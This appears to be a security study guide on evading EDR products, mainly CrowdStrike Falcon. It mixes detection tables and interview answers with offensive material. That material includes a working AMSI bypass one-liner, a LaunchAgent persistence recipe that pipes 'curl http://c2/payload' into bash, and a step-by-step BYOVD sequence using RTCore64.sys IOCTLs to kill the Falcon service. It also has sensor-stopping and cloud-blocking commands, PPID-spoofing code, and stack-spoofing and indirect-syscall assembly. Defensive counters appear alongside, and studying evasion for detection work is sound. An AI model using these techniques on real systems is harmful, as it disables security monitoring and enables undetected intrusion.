| Module stomping | Named module memory content ≠ on-disk file |
| Reflective DLL | Executable private memory with PE header; no LoadLibrary |
| Direct syscalls | syscall instruction from non-ntdll memory range |
| ntdll unhooking | Two ntdll mappings in same process VAS |
| AMSI patch | Write to amsi.dll page |
| ETW patch | Write to ntdll!EtwEventWrite bytes |
| LOLBins | Unusual parent→child chains; encoded cmdline; net conn from interpreter |
| Token theft | Sysmon Event 10; OpenProcessToken on SYSTEM process |
| PPL bypass | Vulnerable signed driver load (Sysmon Event 6) |
| Log clearing | Event ID 1102 / 104; event ID gaps in SIEM |
Linux
| Technique | Detection Signal |
|---|---|
| LD_PRELOAD / ld.so.preload | /etc/ld.so.preload exists; unexpected /proc/<pid>/environ entries |
| LKM rootkit | sys_call_table pointer outside kernel text; PID discrepancy /proc vs ps |
| eBPF rootkit | Unknown bpftool prog list entries; suspicious XDP/LSM programs |
| memfd_create | /proc/<pid>/exe → memfd: path |
| Process hiding | PID in /proc absent from ps; prctl name matching kernel worker |
| auditd kill | auditd process absent; audit rules deleted (auditctl -D) |
| Log tampering | Log gap / truncation; wtmp blank; ctime newer than mtime |
| Timestomping | ctime newer than mtime; inode allocation order mismatch |
macOS
| Technique | Detection Signal |
|---|---|
| DYLD_INSERT_LIBRARIES | Unexpected dylib in /proc/<pid>/maps equivalent; ESF dylib load event |
| task_for_pid injection | ESF ES_EVENT_TYPE_NOTIFY_REMOTE_THREAD_CREATE; audit task_for_pid |
| Dylib hijacking | Unexpected dylib path in app's rpath directory |
| Launch agent persistence | New plist in ~/Library/LaunchAgents/ (FSEvents / ESF notify write) |
| XPC exploitation | Unexpected XPC caller; xpcspy trace of privileged service |
| Ad-hoc / unsigned binary | Gatekeeper block; Santa unknown binary; spctl -a fail |
| TCC bypass | TCC.db modification; tccd log anomalies; com.apple.macl on unexpected files |
| Log suppression | log config in Unified Log; /var/db/diagnostics deletion |
Key Tools
Analysis / Detection Tools
| Tool | Platform | Purpose |
|---|---|---|
| Sysmon | Windows | Rich process/network/file/registry telemetry |
| Volatility | All (memory) | Memory forensics — detect injection, rootkits, artifacts |
| PE-sieve | Windows | Scan processes for code injection, hollowing, stomping |
| HollowsHunter | Windows | Hunt hollowed / injected processes |
| GMER | Windows | Windows rootkit detector |
| Process Hacker | Windows | Real-time memory, handles, token inspection |
| Autoruns | Windows | Persistence enumeration |
| rkhunter / chkrootkit | Linux | Linux rootkit scanning |
| bpftool | Linux | Inspect loaded eBPF programs and maps |
| Falco | Linux (K8s) | Runtime security using eBPF/syscall rules |
| Tetragon | Linux | eBPF-based policy enforcement + telemetry |
| KnockKnock / BlockBlock | macOS | Persistent item detection |
| Santa | macOS | Binary allowlist/blocklist via ESF |
| Objective-See tools | macOS | ProcessMonitor, FileMonitor, LittleSnitch |
| yaraScan / Velociraptor | All | YARA-based fleet-wide hunting |
| Binwalk | All | Entropy analysis, embedded PE/ELF detection |
Interview Questions and Answers
General / Conceptual
Windowsrich user-mode hook ecosystem (ntdll patching), kernel driver callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks), ETW providers, AMSI. Linux: fewer stable kernel APIs for hooking — modern EDRs use eBPF programs, kprobes, or LSM hooks; auditd for legacy systems. macOS: Endpoint Security Framework (since Catalina) replaced kext APIs; provides authorisation events that can block actions. All three converge on: kernel-level data collection + cloud behavioural analysis.
Windows dominates enterprise endpoints — it's the primary target, so vendor investment follows. Windows has stable, well-documented kernel callback APIs (PsSetCreateProcessNotifyRoutine, ETW, AMSI) that have existed for decades. Linux's kernel interface changes frequently, making driver-based sensors harder to maintain. eBPF is the modern Linux answer but requires kernel 5.8+ and is still maturing as an EDR platform.
auditd is passive — it writes events to a log file, which a SIEM consumes with latency. It cannot block actions. eBPF programs execute synchronously inside the kernel for every matching event, before the action completes, and can return a verdict to block it (Tetragon's kill action). Tetragon can terminate a process mid-syscall; auditd can only report after the fact. eBPF also has far lower overhead than auditd's kernel-to-userspace context-switch model.
Windows-Specific
Process hollowingcreate a suspended process, unmap its memory (NtUnmapViewOfSection), map malicious code in its place, resume. The process entry in the process list shows a legitimate name (e.g., svchost.exe) but runs malicious code. Process doppelgänging: exploit Windows TxF (transactional NTFS) — write malicious code to a file inside a transaction (not committed to disk), create a section from that transacted file, map it as a new process image, roll back the transaction. No malicious file ever exists on disk.
EDR hooks work by patching the first bytes of functions like NtOpenProcess in ntdll.dll. Direct syscalls bypass ntdll entirely — the malware issues the syscall instruction itself with the correct syscall number, going straight to the kernel without touching ntdll. EDR detection requires moving to the kernel level: use kernel callbacks (ObRegisterCallbacks) that fire regardless of how the syscall was issued, or detect that the syscall originated from an address outside ntdll.dll (syscall-from-wrong-location heuristic).
AMSI (Antimalware Scan Interface) intercepts script content before execution — PowerShell, VBScript, JScript all call AmsiScanBuffer. Bypass 1: patch AmsiScanBuffer in memory to always return AMSI_RESULT_CLEAN — detectable by EDR monitoring WriteProcessMemory calls targeting amsi.dll. Bypass 2: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) — detectable by ETW PowerShell logging of that reflection string.
Classic DLL injection creates a new thread (CreateRemoteThread) — clearly anomalous. Module stomping overwrites bytes in an already-loaded legitimate DLL (e.g., win32u.dll) with shellcode and redirects an existing thread into it. The EDR sees execution inside a signed Microsoft DLL at a legitimate memory address. Harder to detect because the mapped region's file on disk is clean — only the in-memory copy is malicious. Detection: hash the in-memory content of loaded modules and compare against the on-disk version.
EtwEventWrite help an attacker evade detection?ETW (Event Tracing for Windows) provides structured telemetry from the kernel and userspace to security tools — PowerShell activity, .NET assembly loading, AMSI calls, and more feed through ETW. Patching EtwEventWrite in ntdll with a RET instruction silences all userspace ETW telemetry from that process. EDR loses visibility into scripting engine activity and other traced events. Detection: kernel-mode ETW collection (which the patch doesn't affect), or detect the WriteProcessMemory targeting ntdll's EtwEventWrite.
DKOM removes the process from EPROCESS.ActiveProcessLinks so NtQuerySystemInformation (and tasklist/Task Manager) won't enumerate it. Detection: walk physical memory for EPROCESS structures directly and compare against the API process list — discrepancies reveal hidden processes. Volatility's psxview plugin does exactly this (cross-references 7 different process enumeration methods). Live: compare PspCidTable (handle table) against ActiveProcessLinks walk.
PPL (Protected Process Light) prevents processes with lower trust from opening handles with certain access rights to protected processes (like lsass). Bypassing requires modifying the _PS_PROTECTION field in the target process's EPROCESS kernel structure. Only kernel drivers can write to kernel memory. BYOVD (Bring Your Own Vulnerable Driver) loads a legitimately Microsoft-signed but exploit-vulnerable driver to gain kernel read/write, then uses it to zero the protection byte — bypassing PPL without modifying unsigned kernel code.
Linux-Specific
LD_PRELOAD rootkit injection work, and why don't eBPF-based EDRs care about it?LD_PRELOAD causes the dynamic linker to load a specified library before all others. The rootkit .so exports functions with the same names as libc functions (readdir, getdents64) — when the program calls them, it hits the rootkit first, which filters results (hides files/processes) before optionally calling the real function. eBPF hooks at the kernel syscall boundary — it intercepts getdents64 at the point it enters the kernel and sees the real unfiltered results. The userspace libc hook is completely invisible to it.
An eBPF rootkit runs as a BPF program in the kernel without being a loadable module. It doesn't appear in lsmod or /proc/modules. It can hook bpf() system calls to hide itself from other BPF programs (including eBPF-based EDRs), manipulate map lookups to return filtered data, and intercept kprobes. Traditional LKM rootkits require CAP_SYS_MODULE and leave traces in module lists. eBPF rootkits only need CAP_BPF (lower privilege) and leave fewer traces.
memfd_create?memfd_create creates an anonymous memory-backed file descriptor — no path on disk. A process executing from it shows /proc/<pid>/exe → memfd:name (deleted). Detection: ls -la /proc/*/exe 2>/dev/null | grep memfd; cat /proc/<pid>/maps shows rwx anonymous regions; Falco rule on evt.type = memfd_create; check if exe_path starts with memfd. The process has no on-disk binary — any process doing this should be considered immediately suspicious unless it's a known JIT runtime.
On Linux, touch -t or debugfs can change atime/mtime/ctime-as-reported, but the kernel's inode.i_ctime (inode change time) updates on any inode modification — you cannot change ctime without direct disk manipulation or kernel tricks. stat exposes this. On Windows, NTFS has separate $STANDARD_INFORMATION (user-visible, modifiable via Win32 API) and $FILE_NAME (typically only updated by the kernel) timestamps — attackers change $STANDARD_INFORMATION while $FILE_NAME retains the real time. Linux forensics: always check stat ctime alongside mtime.
macOS-Specific
Apple requires all kernel extensions to be Apple-signed since macOS Big Sur and has deprecated kexts in favour of System Extensions. Enabling a kext now requires disabling SIP, booting into recovery mode, and running csrutil disable — which requires physical access. A kext rootkit additionally needs to bypass Gatekeeper and the notarisation requirement. Not practically viable for remote attackers; reserved for physical-access nation-state scenarios.
ESF (since macOS Catalina) replaced kauth and KPI APIs. It provides authorisation events to security tools — file operations, process execution, network connections — which tools can block before they complete. Malware evasion attempts: (1) kill the ESF client process (requires root + SIP disabled); (2) exploit the ESF client itself (supply chain attack against the AV); (3) use PT_DENY_ATTACH to block the ESF client from monitoring the process; (4) use approved Apple-signed LOLBins that ESF clients may have allow-listed.
task_for_pid injection compare to Windows OpenProcess + CreateRemoteThread?Both achieve process injection by getting a handle to a target process's memory. task_for_pid requires the caller to have taskport entitlement rights — normally root or the process owner, and SIP prevents even root from calling it on system processes. Windows OpenProcess with PROCESS_ALL_ACCESS is available to any process with sufficient privileges (often achievable without true root). macOS's entitlement gate makes injection significantly harder, especially on hardened (notarised + Hardened Runtime) targets.
Dylib hijacking places a malicious .dylib in a path that appears in an application's @rpath search order before the legitimate library. When the app loads, it picks up the attacker's library. Mitigations on hardened apps: Hardened Runtime disables DYLD_INSERT_LIBRARIES/DYLD_LIBRARY_PATH injection. Library Validation (com.apple.security.cs.require-same-team-identifier) requires loaded dylibs to be signed by the same team. SIP protects system paths. Only unsigned or weakly-configured apps remain exploitable.
Write a LaunchAgent plist to ~/Library/LaunchAgents/com.apple.update.plist (using defaults write or PlistBuddy — both built-in). Set ProgramArguments to ["/usr/bin/osascript", "-e", "do shell script \"curl http://c2/payload | bash\""]. osascript, curl, bash are all Apple-signed binaries. launchctl loads the agent on login. No custom binary is ever written — only a plist file, which many AV tools don't inspect deeply.
CrowdStrike Falcon — Architecture and Evasion
CrowdStrike Falcon is a cloud-native EDR/XDR platform. Understanding how it works internally is essential for both defenders hardening the sensor and for red teamers assessing detection gaps.
How Falcon is Built
┌────────────────────────────────────────────────────────────────────┐ │ CrowdStrike Falcon Architecture │ │ │ │ Endpoint CrowdStrike Cloud │ │ ──────────────────── ────────────────────────────── │ │ Kernel Driver (Ring 0) Threat Graph (ML / behavioural) │ │ csagent.sys (Windows) IOA Engine (pattern matching) │ │ falcon_lsm_*.ko (Linux) Overwatch (human threat hunters)│ │ System Extension (macOS) Spotlight (threat intel) │ │ │ ▲ │ │ │ hooks / callbacks │ telemetry (TLS) │ │ ▼ │ │ │ Userspace Agent (Ring 3) Detection decisions pushed back │ │ CSFalconService.exe to sensor in real time │ │ falcon-sensor (Linux) │ │ Falcon.app (macOS) │ └────────────────────────────────────────────────────────────────────┘
Key architectural properties
| Property | Detail |
|---|---|
| Kernel-mode driver | Intercepts process creation, image load, file I/O, registry, and network at the kernel level — not patchable from userspace |
| Cloud correlation | Raw events stream to the CrowdStrike cloud where the AI detection engine runs. Local prevention is a subset; the cloud sees the full picture |
| IOCs vs IOAs | IOC = hash/IP/domain match (simple). IOA = behavioral sequence (process chain, syscall pattern, memory anomaly) — far harder to evade |
| Prevention policies | Configured per sensor group. Can block at execution time. The "sensor only" toggle turns off cloud AI but keeps local heuristics |
| Reduced functionality mode | If the sensor loses cloud connectivity, it falls back to local-only detections. Some IOA rules require cloud correlation and go dark |
Detecting CrowdStrike Presence (Attacker Recon)
Before evading an EDR, attackers determine whether it is deployed.
Windows
# Services
Get-Service | Where-Object {$_.Name -match "CSFalcon|CrowdStrike"}
sc query CSFalconService
# Kernel driver
Get-WinEvent -ProviderName "Service Control Manager" | Where-Object {$_.Message -match "csagent"}
fltmc # minifilter list — look for csagent
# Processes
Get-Process | Where-Object {$_.Name -match "falcon|CSFalcon"}
# CSFalconService.exe, CSFalconContainer.exe (GUI), CSFalconUpdate.exe
# Installation directory
Test-Path "C:\Program Files\CrowdStrike\"
# Registry
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\CSAgent"
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\CSFalconService"Linux
systemctl status falcon-sensor
/opt/CrowdStrike/falconctl status
ps aux | grep falcon
ls /opt/CrowdStrike/
lsmod | grep falcon # kernel modules: falcon_lsm_serviceable, falcon_kal
ls /proc/*/exe 2>/dev/null | xargs ls -la 2>/dev/null | grep falconmacOS
# System Extension
systemextensionsctl list | grep -i crowdstrike
# or
launchctl list | grep -i falcon
ls /Library/SystemExtensions/ | grep crowdstrikeOperational implicationIf an attacker detects CrowdStrike, they will adapt TTPs — use more LOLBins, avoid known-bad IOA patterns, or attempt sensor tampering before deploying the main payload.
Sensor Tampering
Tampering with the Falcon sensor requires kernel-level access (Windows) or root + CAP_SYS_MODULE (Linux). The sensor is hardened against userspace interference.
Windows — Protected Process Light (PPL)
CSFalconService.exe runs as a PPL (Protected Process with PsProtectedSignerAntimalware-Light). Standard OpenProcess with PROCESS_TERMINATE fails with ACCESS_DENIED.
# Confirm PPL protection level
Get-WmiObject Win32_Process -Filter "Name='CSFalconService.exe'" | Select ProcessId
# → then use Process Hacker → Properties → General tab → Protection: Antimalware (Light)Bypass pathThe same BYOVD technique used for LSASS (PPLKiller) applies here. Load a vulnerable signed driver, use its kernel-mode write primitive to clear _PS_PROTECTION.Type on the CSFalconService EPROCESS. Then TerminateProcess succeeds.
Known drivers abused for BYOVD:
| Driver | CVE | Product |
|---|---|---|
RTCore64.sys | CVE-2019-16098 | MSI Afterburner |
DBUtil_2_3.sys | CVE-2021-21551 | Dell BIOS Update |
mhyprot2.sys | — | Genshin Impact anti-cheat |
WinRing0x64.sys | — | OpenHardwareMonitor |
ene.sys | CVE-2022-42455 | Asus ROG utility |
BYOVD step-by-step — RTCore64.sys (CVE-2019-16098) example:
RTCore64.sys (MSI Afterburner) has an IOCTL that lets an unprivileged caller read/write arbitrary physical memory. The exploit sequence:
// Step 1: Load the vulnerable driver
sc.exe create RTCore64 type=kernel binPath=C:\Windows\Temp\RTCore64.sys
sc.exe start RTCore64
// HANDLE hDriver = CreateFileA("\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE, ...)
// Step 2: Find the EPROCESS of the target (CSFalconService or csagent)
// Walk the ActiveProcessLinks doubly-linked list from System (PID 4)
// Each node is an EPROCESS; ImageFileName is at EPROCESS+0x450 (varies by Windows build)
// _PS_PROTECTION is at EPROCESS+0x87A (Win10 21H1)
// _PS_PROTECTION.Type (1 byte) = 2 for PsProtectedSignerAntimalware, 0 = unprotected
// Step 3: Issue kernel read IOCTL to walk EPROCESS list
// IOCTL code 0x80002048 = RTCore64 memory read
DWORD target_pid = GetProcessId(...); // CSFalconService PID
QWORD eprocess_addr = FindEPROCESS(hDriver, target_pid); // walk via IOCTL reads
// Step 4: Zero out _PS_PROTECTION.Type via kernel write IOCTL
// IOCTL code 0x8000204C = RTCore64 memory write
// Write 0x00 to eprocess_addr + 0x87A (_PS_PROTECTION.Type)
RTCore64_MemWrite(hDriver, eprocess_addr + 0x87A, 0x00);
// Step 5: Now TerminateProcess succeeds
HANDLE hTarget = OpenProcess(PROCESS_TERMINATE, FALSE, target_pid);
TerminateProcess(hTarget, 0);
// Step 6: Clean up — unload driver to reduce artefacts
sc.exe stop RTCore64
sc.exe delete RTCore64
DeleteFile("C:\\Windows\\Temp\\RTCore64.sys");What the analyst sees post-incidentDriver load event (Sysmon 6) with RTCore64.sys hash, immediately followed by termination of a security process (Sysmon 5 = process terminated). The sc.exe create / sc.exe start chain (Sysmon 1) is also visible.
CrowdStrike's counterThe Microsoft Vulnerable Driver Blocklist (updated quarterly) and CrowdStrike's own blocklist flag known vulnerable drivers at load time. Sysmon Event ID 6 fires on driver load; Falcon raises an alert if a driver matching known-bad hashes loads. The Falcon sensor also monitors for termination of its own service process via kernel callbacks — even if PPL is cleared, the termination event itself triggers an alert that lands in the cloud before the sensor goes dark.
Linux — Stopping the Sensor
# Requires root
systemctl stop falcon-sensor # stops userspace daemon
# The kernel modules (falcon_lsm_serviceable.ko etc.) remain loaded
# To fully remove the kernel module (requires root AND kernel module loading enabled)
rmmod falcon_lsm_serviceable
# Fails if modules_disabled=1 or kernel lockdown is active
# CrowdStrike-specific: the sensor registers LSM hooks and eBPF programs
# Removing the kernel module clears all hooks — the machine is blind until restarted
# Detection by CrowdStrike cloud:
# Sensor stops sending heartbeats → cloud marks sensor as "inactive"
# SOC alert: "Sensor state changed to inactive on host X"ImportantStopping falcon-sensor (daemon) still leaves the kernel module's LSM hooks in place on some versions. The kernel module must be unloaded for full blindness.
Cloud Connectivity Disruption
CrowdStrike sensors stream telemetry to CrowdStrike's cloud over TLS on port 443. If this is blocked, the sensor enters Reduced Functionality Mode (RFM) — local ML/IOC prevention still works, but behavioral IOA rules that require cloud correlation go offline.
# CrowdStrike cloud infrastructure (DNS names — these change; verify with falconctl)
# Primary: ts01-b.cloudsink.net, lfodown01-b.cloudsink.net (vary by CID/region)
# Blocking the sensor's cloud comms (requires firewall or DNS control)
nftables: ip daddr <crowdstrike-cloud-ip-range> drop
# or DNS: return NXDOMAIN for *.cloudsink.net
# Identifying sensor cloud endpoints from the host
cat /etc/hosts.allow # some deployments document this
/opt/CrowdStrike/falconctl stats # shows connection stateDefender counterSOC should alert on sensor_state: degraded or RFM=true events in the Falcon console. Network traffic baselines should flag a host that normally beacons to CrowdStrike but suddenly stops.
IOA (Indicator of Attack) Evasion
IOAs are CrowdStrike's behavioral detection rules. They fire on patterns, not on specific hashes, making them harder to defeat than IOC matching — but not impossible.
Understanding IOA Categories
| IOA Type | Example Pattern | MITRE |
|---|---|---|
| Process chain | winword.exe → cmd.exe → powershell.exe | T1204.002 |
| Encoded command | powershell.exe -EncodedCommand <base64> | T1059.001 |
| Credential access | lsass.exe opened with PROCESS_VM_READ | T1003.001 |
| Lateral movement | psexec remote service creation pattern | T1021.002 |
| Persistence | Write to Run registry key followed by process create | T1547.001 |
| Defense evasion | NtUnmapViewOfSection on suspended process | T1055.012 |
| Discovery | net user /domain, net group "Domain Admins" | T1069.002 |
IOA Bypass Strategies
1. Break the process chain
CrowdStrike flags Office → cmd → powershell heavily. Inject into a process that already exists rather than spawning new children.
Instead of: Word → cmd.exe → powershell.exe
Use: Word → inject shellcode into existing explorer.exe → C22. Indirect execution — avoiding execve chains
# Instead of (detectable):
powershell -enc <base64>
# Use COM object instantiation to avoid direct PowerShell spawn from parent:
$com = [System.Activator]::CreateInstance([System.Type]::GetTypeFromProgID("MMC20.Application"))
$com.Document.ActiveView.ExecuteShellCommand("powershell", $null, "-enc <b64>", "7")3. PPID Spoofing
Create a new process with a spoofed parent PID to break parent-child IOA rules.
// Use PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to assign any parent
STARTUPINFOEXA si = {0};
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = HeapAlloc(..., attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
// Set parent to explorer.exe (looks like user-initiated)
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorer_pid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
CreateProcess("C:\\Windows\\System32\\cmd.exe", ..., EXTENDED_STARTUPINFO_PRESENT, ..., &si, &pi);
// Falcon sees: explorer.exe → cmd.exe (benign-looking)DetectionCrowdStrike detects PPID spoofing by comparing the claimed parent PID in PROC_THREAD_ATTRIBUTE_PARENT_PROCESS against the actual kernel-tracked parent. Kernel callbacks receive both; a mismatch is flagged as ProcInjection/Spoofed PPID.
4. Command-line obfuscation (limited effect)
CrowdStrike's IOA engine normalises common obfuscation patterns (character substitution, string concatenation, environment variable expansion). Relying on simple obfuscation is insufficient.
5. Time-stomping and delayed execution
CrowdStrike's behavior graph correlates events within a rolling window. If events are spread across multiple sessions or hours, behavioral chains may not link.
# Stage 1: drop an encrypted blob to disk (no execution, low signal)
# Stage 2: (hours later, separate session) decrypt and reflectively load
# Lateral movement beacon fires only when specific data is found, not on initial accessContainer and Kubernetes Environments
In containerised environments, CrowdStrike deploys as a DaemonSet (one Falcon sensor pod per node).
# Typical Falcon DaemonSet deployment
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: falcon-sensor
namespace: falcon-system
spec:
selector: ...
template:
spec:
hostPID: true # reads /proc from host namespace
hostNetwork: true
containers:
- name: falcon-sensor
image: falcon-sensor:latest
securityContext:
privileged: true # required to load kernel moduleEvasion angles in containers
| Technique | What it achieves |
|---|---|
| Container escape to node root | Get root on the node → rmmod falcon_lsm_serviceable |
| Namespace confusion | Create processes in new PID namespace — Falcon may not have visibility into isolated namespaces depending on sensor version |
| eBPF-based hiding | A privileged container with CAP_BPF can load its own eBPF filter that suppresses Falcon's telemetry events |
| DaemonSet eviction | If attacker has cluster-admin RBAC, delete the falcon-system DaemonSet (kubectl delete ds falcon-sensor -n falcon-system) |
| Node selection | Schedule malicious workloads on nodes without the DaemonSet (nodeSelector or taint targeting unprotected nodes) |
HardeningRun Falcon DaemonSet with priorityClassName: system-node-critical to prevent eviction; add RBAC policy preventing deletion of resources in falcon-system namespace; alert on DaemonSet pod count drops.
CrowdStrike Detection Evasion Summary
| Technique | What it targets | CrowdStrike counter |
|---|---|---|
| BYOVD (PPLKiller) | Kill CSFalconService PPL | Vulnerable driver blocklist; Sysmon Event 6 alert |
rmmod falcon_lsm | Remove kernel hooks | Cloud heartbeat loss alert; kernel module tampering detection |
| Block *.cloudsink.net | Force Reduced Functionality Mode | SOC alert on sensor state change; network anomaly baseline |
| PPID spoofing | Break process chain IOAs | Kernel comparison of claimed vs actual parent |
| Process injection over spawn | Avoid create_process IOAs | Memory scan; cross-process handle IOA |
| Delayed staging | Stretch behavior graph window | Longer correlation windows; Overwatch hunting |
| Delete Falcon DaemonSet | Remove K8s sensor | RBAC restriction; alert on DaemonSet mutation |
| COM-based lateral execution | Avoid direct shell spawn | COM instantiation IOAs; behavioral baseline |
Advanced and Emerging Evasion Techniques
These techniques are increasingly common in red team tooling and advanced threat actor campaigns. Most are not yet covered in mainstream EDR bypass guides.
A-1. Sleep Obfuscation (In-Memory Payload Encryption)
Modern EDRs scan process memory at rest to find shellcode signatures. Sleep obfuscation encrypts the payload in memory while it sleeps between C2 check-ins, then decrypts it only when active.
Active: [plaintext shellcode in RX memory] → executing → sends beacon
Sleeping: [encrypted blob in RW memory] → AES-256 encrypted → no signatureWhy in-memory scanning is a problem for attackers: Many EDRs (including CrowdStrike) perform periodic memory scans — they walk the VAS of every process, read PAGE_EXECUTE_READ and PAGE_EXECUTE_READWRITE regions, and run signature/heuristic checks on the bytes. Shellcode that sits in memory between beacons is exposed every time this scan runs.
Sleep obfuscation's core idea: change the memory protection to PAGE_READWRITE (non-executable) before sleeping, then change it back to PAGE_EXECUTE_READ before waking up to run. Simultaneously encrypt the bytes so even a PAGE_READWRITE scan finds only ciphertext.
Implementations
uses RtlCreateTimer to schedule three consecutive timer callbacks: (1) encrypt shellcode in-place with RC4, (2) VirtualProtect → PAGE_READWRITE, (3) sleep via WaitForSingleObject. On the fourth callback the reverse happens: VirtualProtect → PAGE_EXECUTE_READ, decrypt, resume. The main thread is suspended the entire time.
uses NtApcQueueThread instead of timers. Queues APC calls on the main thread to execute the protection changes without any explicit sleep or wait.
(2017 original): places a return-oriented gadget that calls VirtualProtect(shellcode, PAGE_EXECUTE_READ) as a timer callback. No encrypt step — just the permission flip. Simpler, detected by entropy-based scans.
// Ekko flow — pseudo-code with actual function sequence
void beacon_sleep(DWORD ms) {
// 1. Set up RC4 key and generate timer queue
HANDLE hTimerQueue = RtlCreateTimerQueue();
HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
// 2. Schedule: encrypt shellcode, mark PAGE_READWRITE
// Timer 1: RtlCaptureContext → saves registers into a CONTEXT struct
// Timer 2: encrypt .text section with RC4 key (in-place XOR)
// Timer 3: VirtualProtect(shellcode_base, shellcode_size, PAGE_READWRITE, &old)
// Timer 4: SetEvent(hEvent) — signal that sleep can begin
// 3. Main thread waits — suspended while timers run
WaitForSingleObject(hEvent, INFINITE);
// Memory state during sleep:
// VA [shellcode_base .. +size]: Protect=PAGE_READWRITE, Content=RC4(shellcode)
// → EDR scan sees non-executable encrypted data — no signature match
// 4. Wake up — more timers:
// Timer 5: VirtualProtect(shellcode_base, shellcode_size, PAGE_EXECUTE_READ, &old)
// Timer 6: decrypt RC4 in-place (restore plaintext)
// Timer 7: RtlRestoreContext → restore registers and resume from where we left off
WaitForSingleObject(hEvent2, ms); // actual delay here
}Detection
- Periodic memory scans catch payloads in the brief window between decrypt and sleep
- Track
VirtualProtectcalls that cyclePAGE_EXECUTE_READWRITE→PAGE_READWRITE→PAGE_EXECUTE_READin a loop — this cycling pattern is an IOA - CrowdStrike and SentinelOne detect memory permission cycling as a behavioral indicator
- Entropy analysis: encrypted blobs in private memory have very high entropy (~7.9 bits/byte vs ~4-5 for code)
A-2. Stack Spoofing
When an EDR hooks a function and inspects the call stack (walk the return address chain), it can see the real caller. If the chain shows shellcode → NtOpenProcess, that's an immediate flag. Stack spoofing forges the return address chain to make the call look like it originates from a legitimate module.
Real call stack: Spoofed call stack:
shellcode+0x1234 ntdll!LdrLoadDll+0x5a
↑ ret addr ↑ ret addr
shellcode+0x4567 kernel32!LoadLibraryA+0x23
↑ ret addr ↑ ret addr
ntdll!NtAllocateVirtualMemory ntdll!NtAllocateVirtualMemory
(EDR hook sees this chain) (EDR hook sees this chain — looks legitimate)Why EDRs inspect call stacksWhen a hook fires (e.g., NtAllocateVirtualMemory is called), the EDR walks the caller's return address chain to see who called it. shellcode+0x123 → shellcode+0x456 → NtAllocateVirtualMemory is an immediate flag. kernel32!VirtualAlloc+0x23 → ntdll!LdrLoadDll+0x5a → NtAllocateVirtualMemory looks legitimate.
Implementation — how synthetic frames are built:
// Step 1: Find a "ret" gadget inside a legitimate ntdll or kernel32 function.
// We want addresses that look like return sites inside real functions.
// e.g., ntdll!LdrLoadDll+0x5a, kernel32!LoadLibraryA+0x12
// These are real code addresses — the stack walker will see them and
// attribute the call to those functions.
// Step 2: Before calling the syscall stub, manually build fake stack frames.
// This means pushing the synthetic return addresses onto the stack
// in the correct order (innermost first):
void spoofed_NtAllocateVirtualMemory(...) {
// The real return address we want to restore at the end
void* real_ret = &&after_call;
// Build the fake frame chain on the stack:
// [RSP+0x00] = ntdll gadget (our call looks like it's returning here)
// [RSP+0x08] = kernel32 gadget
// [RSP+0x10] = ntdll outer frame
// The syscall stub will push one more level for the kernel call
__asm__(
"push %[ntdll_gadget]\n" // frame 0 — innermost
"push %[k32_gadget]\n" // frame 1
"push %[ntdll_outer]\n" // frame 2
"sub rsp, 0x20\n" // shadow space for Win64 calling convention
"call %[syscall_stub]\n" // NtAllocateVirtualMemory stub
"add rsp, 0x20\n"
"pop r11\npop r11\npop r11\n" // clean up the synthetic frames
:
: [ntdll_gadget]"r"(ntdll_ret_gadget),
[k32_gadget]"r"(k32_ret_gadget),
[ntdll_outer]"r"(ntdll_outer_gadget),
[syscall_stub]"r"(syscall_stub_addr)
);
after_call:;
}Tools implementing this: VulcanRaven, SilentMoonwalk, AceLdr, Tartarus' Gate with stack spoofing.
Detection
- RSP (real stack pointer) points to memory not backed by any module — the spoofed frames are dangling
- Legitimate
ntdll!LdrLoadDllframes would have their own local variables on the stack; spoofed frames lack these - ETW
Microsoft-Windows-Threat-Intelligencecaptures the realClientIdin syscall parameters regardless of stack spoofing - CrowdStrike inspects both the claimed stack and the actual thread context
A-3. Indirect Syscalls
Distinct from direct syscalls (W-2 above, where you embed syscall in your own code), indirect syscalls borrow the syscall instruction from within ntdll.dll itself to make the call look like it originated from ntdll.
; Direct syscall (detectable: syscall outside ntdll module range)
mov r10, rcx
mov eax, 26h ; NtOpenProcess SSN
syscall ; ← this instruction is in YOUR shellcode's memory range
ret
; Indirect syscall (the syscall instruction is INSIDE ntdll.dll)
mov r10, rcx
mov eax, 26h
jmp qword [ntdll_syscall_gadget_ptr] ; ← jumps to 'syscall; ret' inside ntdll
; EDR sees syscall instruction at ntdll+0x???? — looks legitimateWhy this mattersSome EDRs (including CrowdStrike) check whether the address of the syscall instruction is inside the ntdll module mapping. Direct syscalls fail this check; indirect syscalls pass it.
Implementation toolsRecycledGate, TartarusGate, Meterpreter's Inline Syscalls (post-2022), Havoc C2 implant.
Detection
- ETW
Threat-Intelligencefires on the kernel side of the syscall — the return address after the syscall returns is in the attacker's shellcode, not in a legitimate ntdll caller. This mismatch is detectable. - Thread call stack at the time of the syscall: even with a spoofed user-space stack, the kernel records the actual user-mode return RIP
- CrowdStrike's kernel sensor observes the full system call context; the return address after
sysretpoints into shellcode memory
A-4. Heaven's Gate (32-bit ↔ 64-bit Transition)
64-bit Windows runs 32-bit processes in WOW64 (Windows-on-Windows 64-bit). WOW64 presents a 32-bit ntdll that translates 32-bit syscalls to 64-bit by switching to 64-bit mode via a far call to segment 0x33.
32-bit process:
→ calls wow64.dll → wow64cpu.dll
→ far jmp to selector 0x33 (64-bit code segment)
→ executes 64-bit syscall stubs in ntdll64.dll
→ far jmp back to 0x23 (32-bit code segment)EvasionAn attacker with shellcode in a 32-bit process can directly invoke 64-bit syscall stubs by issuing a far jump to 0x33 themselves, bypassing the entire WOW64 translation layer and any 32-bit ntdll hooks.
; In 32-bit shellcode: jump to 64-bit mode
call far [ptr_to_x64_code] ; ptr_to_x64_code uses segment selector 0x33
